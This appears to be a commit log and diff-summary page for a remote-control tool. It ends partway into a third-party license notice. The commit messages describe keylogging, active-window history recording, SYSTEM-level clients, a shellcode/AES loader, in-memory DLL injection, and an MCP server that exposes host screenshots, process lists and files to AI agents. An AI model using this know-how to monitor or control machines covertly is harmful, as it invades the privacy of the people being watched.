get_client_log sends COMMAND_QUERY_LOG; the client's CClientLogManager dumps
its full in-memory Logger ring buffer once, then pushes deltas every 3s. The
MCP path takes the first (full) TOKEN_REPORT_LOG and cancels the sub-link so
later deltas stop, while the MFC log dialog keeps receiving deltas on the
non-pending branch. Log text is client ANSI on Windows, decoded by clientType
like process/file names. MessageHandle intercepts both with
IsPending -> TakeMainResponse + CancelIO. Sync the design doc (P2d section +
verification notes; Linux get_client_log timeout is a client-version gap).

Co-Authored-By: deepseek-v4-pro
2026-08-19 14:28:10 +02:00
yuanyuanxianganddeepseek-v4-pro c6c6e1d5ef Improve: Add optional max_width to get_screenshot
The get_screenshot tool inherited the MFC thumbnail-preview profile, capping
the frame at 1024px wide (1280 on 4K source), which is too small for AI
vision/OCR of dense UI. Add an optional max_width argument that overrides the
width (clamped to the client's 64..1920 limit) while keeping the RTT-adaptive
jpegQuality. Omitted or 0 keeps the existing thumbnail profile; 1920 yields
near-native resolution (full 1080p on a 1080p source, 1920 wide on 4K). Sync
the design doc.

Co-Authored-By: deepseek-v4-pro
2026-08-19 13:41:38 +02:00
yuanyuanxianganddeepseek-v4-pro 61089e5fae Feature: Add list_files and get_screenshot MCP tools
Add the two P2c MCP tools on top of the P2b protocol. list_files lists
drives (COMMAND_LIST_DRIVE -> TOKEN_DRIVE_LIST) or a directory (follow-up
COMMAND_LIST_FILES -> TOKEN_FILE_LIST on the same one-shot sub-link);
get_screenshot reuses the screen-preview RPC with a per-host reqId
correlation so stale or MFC-preview responses fall through to the MFC
path untouched. Both share the P2b single-flight pending registry.

Fix file/process name encoding: the client reads process names, paths and
file names via the ANSI (A) APIs, so they are GBK on Windows regardless of
the CLIENT_CAP_UTF8 capability bit (which governs window titles only).
Decode by clientType (LNX/MAC = UTF-8, Windows = 936) rather than
GetClientEncoding, and convert the list_files path to the client ANSI code
page before sending. Sync Mcp_Phase2_Design.md with the P2c design and the
encoding correction.

Co-Authored-By: deepseek-v4-pro
2026-08-19 13:27:32 +02:00
yuanyuanxianganddeepseek-v4-pro bcde74368d Fix: Resolve window titles by clientID instead of peer IP
Window list (WSLIST) sub-connections carry no capability bits, so
GetClientEncoding fell back to FindHostByIP(peer IP) to locate the main
connection. Under FRP/NAT reverse proxy the sub-connection's socket peer
is 127.0.0.1 or an internal relay address, which does not match the main
connection's recorded public IP; the lookup returned NULL and the client's
UTF-8 window titles were decoded as CP936 (GBK), producing mojibake on
hosts with Chinese window titles.

Resolve the main connection by clientID first (pinned on the sub-connection
after TOKEN_CONN_AUTH via SetID), falling back to the peer-IP lookup only
for legacy clients that do not send TOKEN_CONN_AUTH.

Co-Authored-By: deepseek-v4-pro
2026-08-19 11:05:35 +02:00
yuanyuanxianganddeepseek-v4-pro 6ba6b0289d Feature: Add list_processes, list_windows and get_activity_history MCP tools
Add three read-only P2b MCP tools over the existing protocol. list_processes and list_windows trigger the client via COMMAND_SYSTEM / COMMAND_WSLIST on the main connection and receive TOKEN_PSLIST / TOKEN_WSLIST on a one-shot sub-link; get_activity_history uses the main-connection RPC COMMAND_QUERY_ACTIVITY -> TOKEN_REPORT_ACTIVITY. A per-host single-flight pending registry (m_Pending) with a 20s timeout correlates each response to its request and rejects a concurrent request for the same host with -32003. Parsers stop on the first empty record to ignore the client's LocalSize trailing zero padding, and window titles are decoded per the client UTF-8 capability bit. MessageHandle only adds if-guarded branches, so the MFC dialogs are untouched. Sync Mcp_Phase2_Design.md with the mode A'/A architecture, the verification notes, and the registry-backed config location.

Co-Authored-By: deepseek-v4-pro
2026-08-19 09:58:58 +02:00
yuanyuanxianganddeepseek-v4-pro 86c4f14cf4 Feature: Add search_hosts and get_host_detail MCP tools
Add two pure in-memory MCP tools over the online host list. search_hosts filters by name/remark, IP, group and OS (all optional, AND-combined, ASCII case-insensitive substring match); get_host_detail returns one online host by id and answers -32602 for a missing/non-numeric id and -32002 for an unknown or offline id. Sync Mcp_Phase2_Design.md with the second-review corrections and the P2a implementation.

Co-Authored-By: deepseek-v4-pro
2026-08-18 16:53:28 +02:00
yuanyuanxianganddeepseek-v4-pro 13052b7cae Feature: Add MCP (Model Context Protocol) server integration
Add an optional MCP server (JSON-RPC 2.0 over Streamable HTTP) exposing
an online-host listing tool, protected by a Bearer token. Disabled by
default; configured via a new "Extensions > MCP Settings" dialog.

- McpServer: httplib + JSON-RPC 2.0 dispatch (initialize/ping/tools/list/tools/call)
- McpSettingsDlg: runtime-created dialog for enable/port/bind/token
- HostJson: extract single-host JSON serialization shared with WebService
- FRP: expose MCP port (union with listening/Web ports) when bound to 0.0.0.0
- i18n: en_US / zh_TW translations

Co-Authored-By: deepseek-v4-pro
2026-08-16 14:37:11 +02:00
yuanyuanxianganddeepseek-v4-pro 43398e405e Feature: Add icons to online host context menu items
Add 16x16 icons for the three context-menu items that previously had
none: "Activity History" (Client Management), "Browse Window" (Remote
Control), and "Proxy Port - Auto Start" (Client Proxy). Register three
new bitmap resources and extend the main dialog's bitmap array from 63
to 66 entries so each menu item renders an intuitive glyph.

Co-Authored-By: deepseek-v4-pro
2026-08-15 13:42:57 +02:00
yuanyuanxianganddeepseek-v4-pro 29929e48b2 Feature: Add client activity history recording and display
Record the client's active-window history (start time, window title, and
dwell duration), newest first, skipping dwellings under 5 seconds and
breaking the timing on idle, capped at 500 entries. Add an "Activity
History" item inside the host's Client Management submenu that requests
the snapshot over the main connection and shows it in a new dialog. The
dialog rebuilds its edit control as a Unicode window so UTF-8 titles
render correctly instead of degrading to "?" through the MBCS ANSI
boundary. The menu item and dialog title go through _TR and are
localized in en_US and zh_TW.

Co-Authored-By: deepseek-v4-pro
2026-08-15 11:09:14 +02:00
yuanyuanxianganddeepseek-v4-pro d0bad75284 Feature: Remember host list sort preference in main dialog
Persist the sort column and direction chosen via the online host list
header (list\OnlineListSort registry key) so the next launch defaults to
the same sort. Re-apply the sort when hosts come online/offline so newly
connected hosts land in their sorted position instead of appending at the
end.

Co-Authored-By: deepseek-v4-pro
2026-08-13 13:12:29 +02:00
yuanyuanxianganddeepseek-v4-pro 9d2e9ec8ca Feature: Remember process/window list sort preference
Persist the sort column and direction chosen via the list header so the
next time the process or window management dialog opens it defaults to
the same sort. Process and window lists are remembered separately
(list\ProcessListSort and list\WindowListSort registry keys) since their
columns have different meanings.

Co-Authored-By: deepseek-v4-pro
2026-08-13 12:59:29 +02:00
yuanyuanxianganddeepseek-v4-pro 2d7f224a22 Fix: process list architecture column sorting was a no-op
The process list stored the architecture string only in ItemData::Arch,
leaving Data[3] (the architecture column) empty. Sorting by the
architecture column therefore compared empty strings and did nothing.
Populate Data[3] with the architecture value so the sort works.

Co-Authored-By: deepseek-v4-pro
2026-08-13 12:44:14 +02:00
yuanyuanxiangandDeepSeek V4 Pro c8973282cb Feature: Add "Unban IP" to log message context menu in main dialog
- Add "Unban IP" menu item to the log message list (m_CList_Message)
  right-click context menu, performing two actions on the extracted IP:
  1. Remove the IP from the IPBlacklist singleton and persist to config
  2. Scan the entire history host list (m_ClientMap->GetAll()) for all
     clients matching the IP with AUTH_FORBIDDEN status, and restore
     them to UNAUTHORIZED (0) — requiring re-authorization for safety
- Reuses ExtractFirstIPFromMessage() for dependency-free IPv4 parsing
- Handles the case where an IP is not in the blacklist and has no
  matching forbidden clients with a clear "no action needed" message
- Menu item is grayed out when no log entry is selected
- Sync en_US / zh_TW language files with new translation strings

Co-Authored-By: DeepSeek V4 Pro
2026-08-07 11:45:18 +02:00
yuanyuanxiangandDeepSeek V4 Pro 7bbc47a0ee Feature: Add "Ban IP" to log message context menu in main dialog
- Add "Ban IP" menu item to the log message list (m_CList_Message)
  right-click context menu, allowing users to extract IPv4 addresses from
  selected log entries and add them directly to the IP blacklist
- Reuses ExtractFirstIPFromMessage() from the previous commit for
  dependency-free IPv4 parsing with per-segment 0-255 validation
- Checks against whitelist before banning (whitelisted IPs cannot be
  banned) and skips IPs already in blacklist with clear feedback
- Immediately persists via THIS_CFG.SetStr to the config ini file;
  IPBlacklist singleton takes effect instantly — subsequent connections
  from banned IPs are rejected in IOCPServer::OnAccept() which already
  calls IsIPBlacklisted() on every new connection
- Menu item is grayed out when no log entry is selected
- Sync en_US / zh_TW language files with new translation strings

Co-Authored-By: DeepSeek V4 Pro
2026-08-06 20:44:33 +02:00
yuanyuanxiangandDeepSeek V4 Pro eeacbe5d61 Feature: Add "Online Notify" to log message context menu in main dialog
- Add "Online Notify" menu item to the log message list (m_CList_Message)
  right-click context menu, allowing users to extract IPv4 addresses from
  selected log entries and add them to notification keywords
- Implement ExtractFirstIPFromMessage() for dependency-free IPv4 parsing
  with per-segment 0-255 validation, handling diverse log message formats
- Extend NotifyManager::ShouldNotify with IP column (ONLINELIST_IP)
  fallback check, ensuring IP keywords match regardless of the user's
  configured ColumnIndex setting
- OnMsglogLoginNotify only appends keywords and enables the rule without
  overwriting the user's existing ColumnIndex or TriggerType settings
- Menu item is automatically grayed out when PowerShell is unavailable
  or no log entry is selected
- Sync en_US / zh_TW language files with new translation strings

Co-Authored-By: DeepSeek V4 Pro
2026-08-06 18:13:14 +02:00
yuanyuanxiangandDeepSeek V4 Pro 7c09e9dd8c Fix: Move ONLINELIST_PRIVILEGE to end of enum to fix history host column data corruption
Commit 6d0b1bb (Feat: Add privilege column) inserted ONLINELIST_PRIVILEGE
at enum value 9, shifting INSTALLTIME from 9→10 and PATH from 12→13.
However, FileUpload_Lib (SimplePlugins) is compiled against a separate
copy of context.h that still uses the old enum values. Since
HostInfo.cpp's SaveClientMapData uses OLD enum values to read
sClientInfo[], it was reading privilegeStr for InstallTime and client
type for ProgramPath — corrupting the history host database.

Fix: move ONLINELIST_PRIVILEGE to value 16 (just before MAX), restoring
all original enum values (INSTALLTIME=9, PATH=12, etc.) so the
pre-built library can continue reading correct data without recompilation.

The 'permission' column now appears as the rightmost column in the
online host list instead of between 'version' and 'install time'.

Co-Authored-By: DeepSeek V4 Pro
2026-08-05 20:07:21 +02:00
yuanyuanxiang d99510e46d Release v1.3.8 2026-08-03 18:30:40 +02:00
yuanyuanxiangandClaude Sonnet 4.6 b97f086c0c Feature: Add log search bar with prev/next/clear for m_CList_Message
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-07-16 00:10:12 +02:00
yuanyuanxiang f24e7acc48 Fix: Switching between 32bits and 64bits causes master crash 2026-07-14 22:32:29 +02:00
yuanyuanxiang 0cd7516bde Improve: Save user customized remote desktop cursor settings to registry 2026-07-14 21:38:21 +02:00
yuanyuanxiang a646e0417d Feature: Support to forbidden the user in violation of rules 2026-07-14 15:17:31 +02:00
yuanyuanxiangandClaude Sonnet 4.6 23c9a4f242 Feature: add client log dialog with auto-refresh, icon and menu bitmap
- CClientLogManager: push thread sends incremental logs every 3s; join() instead of detach() prevents use-after-free on shutdown
- CClientLog::OnReceiveComplete: handles TOKEN_REPORT_LOG on IOCP thread via PostMessage, fixing incremental packets being silently dropped
- Dialog icon (ClientLog.ico) and menu bitmap (ClientLog.bmp) added; OnInitDialog loads icon; IDR_MENU_LIST_ONLINE "运行日志" item gets the bitmap

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-07-13 19:02:25 +02:00
yuanyuanxiang 85a5774a0f Feature: Add a menu to input YAMA_DBG which allows debugging 2026-07-11 22:59:51 +02:00
yuanyuanxiang f2a95848ce Feature: Add a "View Windows" menu for remote desktop control 2026-07-11 18:05:25 +02:00
yuanyuanxiang f146af121a Fix: prevent mobile web remote desktop freeze on Safari app-switch
by forcing clean WS reconnect on foreground return;

add 30-second grace period on server to avoid cold-start on quick reconnects
2026-07-10 16:08:02 +02:00
yuanyuanxiang 72dcdc5a6f Fix: RunFileReceiver must not register ReconnectProcess
to avoid killing the main screen session on file transfer completion
2026-07-07 16:30:27 +02:00
yuanyuanxiang 8e170cf971 Fix: toggle privacy wallpaper menu item to clear instead of re-picking when already set 2026-07-03 20:57:54 +02:00
yuanyuanxiang 6d0b1bb07b Feat: Add privilege column (SYSTEM/Admin/User) to online host list 2026-07-01 09:32:28 +02:00
yuanyuanxiang bcccbefb77 Feature: Client running as SYSTEM and support remote control 2026-06-29 22:49:30 +02:00
yuanyuanxiang 92f6683fe1 Release v1.3.7 2026-06-26 15:28:57 +02:00
yuanyuanxiang d7408ad4df Feat: Client build dialog support building Android application 2026-06-25 17:48:45 +02:00
yuanyuanxiangandClaude Sonnet 4.6 5296e534ed Fix: Android client stops service when server sends BYE (delete client)
ConnectionThread now calls CaptureService.onNativeExit() via JNI on exit
when g_bExit == S_CLIENT_EXIT (server-initiated). The Java side posts
stopSelf() on the service handler. Guard: instance is null in the
user-initiated teardown path (onDestroy nulls it before nativeStop),
so onNativeExit is a no-op in that case.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-25 17:38:01 +02:00
yuanyuanxiangandClaude Sonnet 4.6 5a1430e904 Feat: Android client device grouping with persistent group name
- szPCName sent as "model/groupName" format matching Linux client
- CMD_SET_GROUP handler updates g_SETTINGS.szGroupName in memory
- Group name persisted to filesDir/yama_group; survives process restart
- LoadGroupName() at startup overrides build-time patch value if file exists

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-25 17:38:01 +02:00
yuanyuanxiang 218ee4f43d Feat: TV remote control via D-pad focus navigation using AccessibilityService 2026-06-24 22:31:14 +02:00
yuanyuanxiang 45553ec5b6 Feat: Android client Phase 0-3 full implementation 2026-06-21 23:00:05 +02:00
yuanyuanxiangandClaude Sonnet 4.6 837d89c8b5 Feat: Sub-license count limit - LicenseLimit field in licenses.ini + context menu
- Add LicenseLimit field to LicenseInfo struct (0 = not set, unlimited)
- Add GetLicenseLimit/SetLicenseLimit: read/write LicenseLimit key in licenses.ini
- Append |lic:N to reserved field in TOKEN_AUTH response only when
  LicenseLimit > 0; absent |lic: means no limit (client defaults to 9999),
  so super admin authenticating to its own server is never falsely terminated
- Add "Sub-license limit" item in CLicenseDlg right-click menu (1-9999,
  empty = clear limit); menu label shows current value in real time
- Limit change takes effect when sub-client re-authenticates

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-20 13:01:35 +02:00
yuanyuanxiang c1433b4b5d Fix: Restore memory DLL at client program startup 2026-06-20 12:38:28 +02:00
yuanyuanxiang 71963b740b Fix: Authorization client use different keyboard log directory 2026-06-20 12:38:28 +02:00
yuanyuanxiang 5b37df26fd Opt: improve adaptive-size rendering 2026-06-20 12:38:28 +02:00
yuanyuanxiangandClaude Sonnet 4.6 851fed4739 Feat: sign TOKEN_AUTH response and add TOKEN_SERVER_VERIFY to prevent fake server
TOKEN_AUTH: when the server has a V2 private key, signs "SN|valid(0/1)"
with ECDSA P-256 and places "sig:<base64>" in the response reserved field.
Clients can verify server identity without changing the request format.

TOKEN_SERVER_VERIFY (251): added constant to commands.h; handler already
present in 2015RemoteDlg.cpp for the challenge-response server identity check.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-20 12:38:28 +02:00
yuanyuanxiang 103123f533 Feat: anti-cracking hardening - version binding and updated libs 2026-06-20 12:38:20 +02:00
yuanyuanxiang 66c950cecb Refactor: split ScanScreen window-capture into 3 private methods 2026-06-16 21:03:45 +02:00
yuanyuanxiangandClaude Sonnet 4.6 91d4c0a523 Fix: eliminate extra screen restarts on connection init
Two changes to reduce unnecessary CScreenSpy restarts when connecting:

1. Client (ScreenManager.cpp): Initialize CScreenSpy with bitrate from
   the locally-saved quality profile, so CMD_QUALITY_LEVEL arriving from
   the server (same bitrate as default) hits SetBitRate(3000)==3000 and
   skips the restart instead of comparing against the hard-coded 0.
   Also fixes QualityLevel init to use the already-computed `quality`
   variable (which honours the QUALITY_DISABLED override when algo!=NUL)
   rather than re-reading the cfg key a second time.

2. Server (ScreenSpyDlg.cpp): Only send CMD_SCREEN_SIZE strategy=2 when
   the session is in QUALITY_ADAPTIVE mode and a cached maxWidth exists.
   Fixed quality levels already carry resolution via CMD_QUALITY_PROFILES,
   so unconditionally sending CMD_SCREEN_SIZE caused a second restart when
   the screen spy was still rebuilding from the first one.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-15 22:14:06 +02:00
yuanyuanxiangandClaude Sonnet 4.6 abafd673a2 Opt: skip 8MB raw first-frame in H264 mode; server unlocks on first IDR instead
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-15 21:29:59 +02:00
yuanyuanxiang 2765d95950 Feat: Support viewing active window via online-host popup menu 2026-06-15 19:15:31 +02:00
yuanyuanxiang 931492a294 Fix: clamp ARGBToNV12 dims to even-aligned ctx width/height
to prevent heap overflow on odd-sized windows
2026-06-15 19:14:49 +02:00
yuanyuanxiang d3b9e7faae Feat: window capture via PrintWindow with server-side HWND routing by clientID 2026-06-15 14:11:42 +02:00
yuanyuanxiang 5757ec7965 Release v1.3.6 2026-06-14 09:39:07 +02:00
yuanyuanxiang eaa0cc6d0b Feat: Z button ROI region, sends COMMAND_SCREEN_ROI to restrict capture area 2026-06-14 07:34:30 +02:00
yuanyuanxiangandClaude Sonnet 4.6 63ef75b7ce Feat: ROI screen capture with remote control support via COMMAND_SCREEN_ROI
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-14 00:24:46 +02:00
yuanyuanxiang 1335d636da Feat: copy selected online host info to clipboard as CSV with menu bitmap 2026-06-12 19:13:23 +02:00
yuanyuanxiang b4ef42923a Fix: move InitControl() before PostMessage to prevent empty columns 2026-06-11 22:38:26 +02:00
yuanyuanxiang 8c64886512 Feat: draggable splitter bar to resize host list and message log proportions 2026-06-11 22:18:23 +02:00
yuanyuanxiang 773f5d5973 Feat: add HideMsg toggle to hide/show message log panel with menu checkmark 2026-06-11 22:13:30 +02:00
yuanyuanxiang 2843a260b0 Feat: copy selected message log rows to clipboard as CSV 2026-06-11 21:34:42 +02:00
yuanyuanxiang 3f662f1ca7 Fix: macOS use quality profile FPS/bitrate, add HW resolution downscaling 2026-06-10 22:40:03 +02:00
yuanyuanxiang 8e5ec20cf2 Fix: Calculate RTT exclude server side UI queue delay time 2026-06-09 10:01:50 +02:00
yuanyuanxiang 96688166ba Fix: clear residual image outside remote frame in non-adaptive scroll mode 2026-06-07 21:05:29 +02:00
yuanyuanxiang 1f538719a8 Fix: sub-connection disconnect (e.g. RDP) no longer clears thumbnail of still-online host 2026-06-07 15:56:52 +02:00
yuanyuanxiang 9f6476a7c4 Fix: Building ServerDll/TinyRun with Shellcode+AES loader now works 2026-06-07 11:25:48 +02:00
yuanyuanxiang 5a20355547 Improve: AuthKernel use the machine id as client identify id 2026-06-06 14:54:42 +02:00
yuanyuanxiang 1430ab3261 Feature: Add a menu to uninstall master/server software 2026-06-06 13:02:29 +02:00
yuanyuanxiang ec7cfa1d63 style: Add macros to enable/disable client building features 2026-06-05 00:05:13 +02:00
yuanyuanxiang fc0be64880 Fix(macOS): restore dblclick for MAC touch, fix scroll speed (10px→40px per notch) 2026-06-04 15:33:12 +02:00
yuanyuanxiang be09b271e1 Feature(Go): issue-token subcommand for minting customer JWTs 2026-06-04 11:05:17 +02:00
yuanyuanxiang 4064bbe25d Feature(licensing): anonymous trial mode + server-side quota enforcement 2026-06-04 11:04:28 +02:00
yuanyuanxiang fcd3b13ca8 Fix: skip detection black-screen on single-monitor capture 2026-06-03 19:09:26 +02:00
yuanyuanxiang 99be79b7ae Fix: Save keyboard input log to file every 10 minutes 2026-06-03 19:03:32 +02:00
yuanyuanxiang dc83c2df42 Feature(web): show host remark alongside hostname 2026-06-02 22:07:56 +02:00
yuanyuanxiang a52874fe08 Feature(web): bandwidth read-out + collapsible fullscreen toolbar 2026-06-02 21:50:21 +02:00
yuanyuanxiang 7aeb7b6ed5 Fix: guard on share_list to avoid duplicate sub-clients on reconnect 2026-06-02 20:52:27 +02:00
yuanyuanxiang 498c7d15b3 Feature(web): Add toolbar audio toggle button 2026-06-02 20:52:20 +02:00
yuanyuanxiang 9aca587654 Feature(audio): forward client PCM to web viewers with continuous playback 2026-06-02 12:09:57 +02:00
yuanyuanxiang da024fb3fb Release v1.3.5 2026-05-31 17:34:30 +02:00
yuanyuanxiang a5a04aaab7 fix(web): improve touch double-click reliability across platforms
Increase touch move threshold to prevent accidental drag detection.

Simulate physical double-click with two sequential click events and a 20ms delay instead of using non-standard dblclick event.

Fix folder renaming and unresponsiveness issues on Windows, Linux, and macOS.
2026-05-30 23:41:03 +02:00
yuanyuanxiang c846d11efa Feature: add menu-driven compress/extract via custom file+folder picker 2026-05-30 18:10:15 +02:00
yuanyuanxiang 9fe8ab746a Perf(screen): skip encode on identical frames to cut HW encoder idle bandwidth 2026-05-30 00:12:47 +02:00
yuanyuanxiang 8c7f612449 Feature: Implement H.264 and AV1 hardware encoding for remote control
Remark: Need to update FFmpeg static libraries to take effort
2026-05-30 00:12:38 +02:00
yuanyuanxiang d1aa7a2c02 Fix: guard IOCPClient against early packet before setManagerCallBack 2026-05-28 23:50:56 +02:00
yuanyuanxiang c0a632a4c6 Compliance: Add building option to disable x264 and ffmpeg 2026-05-27 18:58:29 +02:00
yuanyuanxiang 085543b0f1 Fix(license): respect BindType when validating SN on import 2026-05-27 15:28:56 +02:00
yuanyuanxiang 1fd431ba76 Fix(logger): preserve queued logs on shutdown; record exit signal 2026-05-27 08:55:14 +02:00
yuanyuanxiang 268a427172 Go:Add build pipeline for go server and fix web login bug 2026-05-27 08:47:21 +02:00
yuanyuanxiang 620aaf6827 Fix(license): IP list truncated at 4KB causing permanent data loss 2026-05-25 21:04:36 +02:00
yuanyuanxiang d6fb612475 Refactor: Remove SCLoader.cpp and use the received DLL to inject 2026-05-25 00:16:39 +02:00
yuanyuanxiang 54c88539e5 Fix: Avoid sending authorization information to trail SN 2026-05-24 23:03:58 +02:00
yuanyuanxiang 92bf9c9ccb Fix(record): correct MJPEG upside-down playback
and remove 0-byte AVI residue on encoder open failure
2026-05-23 13:37:28 +02:00
yuanyuanxiang 99fc15ae41 Fix(cursor): correct trace cursor position on multi-monitor capture 2026-05-22 23:24:26 +02:00
yuanyuanxiang 62e962f216 doc(linux): Add linux client install.sh & uninstall.sh 2026-05-22 22:02:38 +02:00
yuanyuanxiang 740ec8baf3 Perf(license): mutex + write-suppression for licenses.ini hot path
licenses.ini was hit on every heartbeat -- 5s x clients x ~8 SetStr per
auth -- with no concurrency protection. Two consequences:
  1. 100 concurrent online would saturate the file (~160 writes/sec,
     full-file rewrite each via WritePrivateProfileString).
  2. Concurrent SetPendingRenewal / DecrementPendingQuota with no lock
     occasionally clobbered freshly-set renewal quotas (reported by
     user as "preset renewal silently disappears").

Add LicensesIniMutex() (Meyers singleton recursive_mutex, exposed in
CPasswordDlg.h so both CPasswordDlg.cpp and CLicenseDlg.cpp share it)
and wrap all 15 functions that touch licenses.ini.

Rewrite UpdateLicenseActivity around g_activityCache (in-memory state
keyed by "SN|IP|machine"): skip the entire write path when nothing
changed and the 30s LastActiveTime throttle window hasn't expired.
Passcode/HMAC are only flushed on actual change (renewal path); IP
list is only rewritten when the yyMMdd timestamp would roll a day.

Measured impact (local 2-client baseline):
  before: 0.60 writes/sec (4 writes per heartbeat cluster)
  after:  0.07 writes/sec (one write per client per 30s throttle)

Extrapolated to the 100-online target:
  before: ~160 writes/sec (saturation)
  after:  ~3.3 writes/sec  (100 clients / 30s throttle window)

Race elimination is the more important win: PendingQuota's
read-modify-write is now atomic, so the "preset renewal disappears"
race is closed.

Notes from audit (these landed during the same iteration):
- Cache key is (SN, IP, machine), not SN alone. A single SN can be
  shared by 100+ end machines in bulk-license deployments, so a
  per-SN cache flips on every heartbeat and defeats suppression.
  Per-(SN, IP, machine) throttling is what makes the 100/30 model
  actually hold; an SN-only key reproduced the original ~0.7 writes/s.
- DeleteLicense invalidates the per-SN activity cache via
  InvalidateLicenseActivityCache() (prefix scan since one SN maps to
  many cache entries). Without this, cache hits after delete would
  skip the auto-recreate path and leave the section permanently
  missing.
- OnLicenseViewIPs: m_ListLicense.SetItemText moved outside the lock
  so the critical section only covers disk I/O.
2026-05-22 00:31:54 +02:00
yuanyuanxiang 83d671c90f Fix(FRP): use UTC for privilegeKey timestamp to fix cross-timezone auth 2026-05-21 23:33:13 +02:00
yuanyuanxiang 5b7d3903b5 Feature: Automatically start frp client for subordinate 2026-05-21 23:33:06 +02:00
yuanyuanxiang da443283f2 fix: Send AUTH to sub-master but generate wrong password 2026-05-21 21:37:52 +02:00
yuanyuanxiang e5bb405f79 docs: migrate Release/Download targets to Gitea; keep stars/forks on GitHub
GitHub mirror is no longer maintained; v1.3.4+ releases land on Gitea only.
Repoint the Release-version badge and Download-Latest button (href + shields
endpoint + logo) at git.simpleremoter.com so visitors don't end up on a stale
GitHub release page.

Stars/forks badges stay on GitHub — vanity counters reflecting historical
accumulation, not navigation targets.

Also: server/go/README.md yama-issue-token link and the line-294 Markdown
"Releases" link in all three READMEs now point at Gitea.
2026-05-20 22:24:42 +02:00
341 changed files with 48064 additions and 11834 deletions

No files matched your search

+4
View File
@@ -1,6 +1,10 @@
# Auto detect text files and perform LF normalization # Auto detect text files and perform LF normalization
* text=auto * text=auto
# Shell scripts must keep LF line endings even when checked out on Windows,
# otherwise Linux refuses them with "bad interpreter: /usr/bin/env^M".
*.sh text eol=lf
# Custom for Visual Studio # Custom for Visual Studio
*.cs diff=csharp *.cs diff=csharp
+2
View File
@@ -81,6 +81,7 @@ Releases/*
linux/Makefile linux/Makefile
linux/cmake_install.cmake linux/cmake_install.cmake
.vs .vs
client/ghost_vs2015.vcxproj.user
docs/macOS_Support_Design.md docs/macOS_Support_Design.md
settings.local.json settings.local.json
*.zip *.zip
@@ -94,3 +95,4 @@ server/go/web/assets/index.html
server/go/users.json server/go/users.json
server/go/build/ server/go/build/
server/go/.claude/settings.json server/go/.claude/settings.json
android/app/.cxx/
+8
View File
@@ -11,6 +11,14 @@
- [jpeg v3.1.1](https://github.com/libjpeg-turbo/libjpeg-turbo) - [jpeg v3.1.1](https://github.com/libjpeg-turbo/libjpeg-turbo)
- [opus-1.6.1](https://opus-codec.org/release/stable/2026/01/14/libopus-1_6_1.html) - [opus-1.6.1](https://opus-codec.org/release/stable/2026/01/14/libopus-1_6_1.html)
- [libpeconv c7d1e48](https://github.com/hasherezade/libpeconv) - [libpeconv c7d1e48](https://github.com/hasherezade/libpeconv)
- [libvpl v2.16.0](https://github.com/intel/libvpl)
- [dav1d 62501cc](https://github.com/videolan/dav1d)
## execution
- [MemoryModule](https://github.com/fancycode/MemoryModule.git)
- [sRDI](https://github.com/Drewsif/sRDI.git)
- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode.git)
## *Note* ## *Note*
+279
View File
@@ -0,0 +1,279 @@
THIRD-PARTY SOFTWARE NOTICES AND LICENSES
This document contains intellectual property notices and license information for
third-party software components used in this product.
================================================================================
SUMMARY OF LICENSE TYPES
================================================================================
The third-party components included in this software are governed by the following
open-source licenses. For complete compliance, ensure that any modifications to
LGPL and MPL covered components are made available under their respective terms,
and this text file is distributed with your software product.
1. Zlib License
- zlib v1.3.2
2. BSD 3-Clause License
- zstd v1.5.7
- libyuv v190
- jpeg (libjpeg-turbo) v3.1.1
- opus-1.6.1
3. BSD 2-Clause License
- libpeconv c7d1e48
- pe_to_shellcode
4. MIT License
- jsoncpp v1.9.6
- sRDI
5. GNU Lesser General Public License v2.1 (LGPL v2.1)
- ffmpeg v7.1 (Compiled in shared, non-GPL mode)
6. Mozilla Public License v2.0 (MPL 2.0)
- MemoryModule
================================================================================
1. zlib v1.3.2 (Zlib License)
================================================================================
Copyright (C) 1995-2024 Jean-loup Gailly and Mark Adler
This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must not
claim that you wrote the original software. If you use this software
in a product, an acknowledgment in the product documentation would be
appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source distribution.
================================================================================
2. zstd v1.5.7 (BSD 3-Clause License)
================================================================================
Copyright (c) 2016-present, Facebook, Inc. All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name Facebook nor the names of its contributors may be used to
endorse or promote products derived from this software without specific
prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
================================================================================
3. libyuv v190 (BSD 3-Clause License)
================================================================================
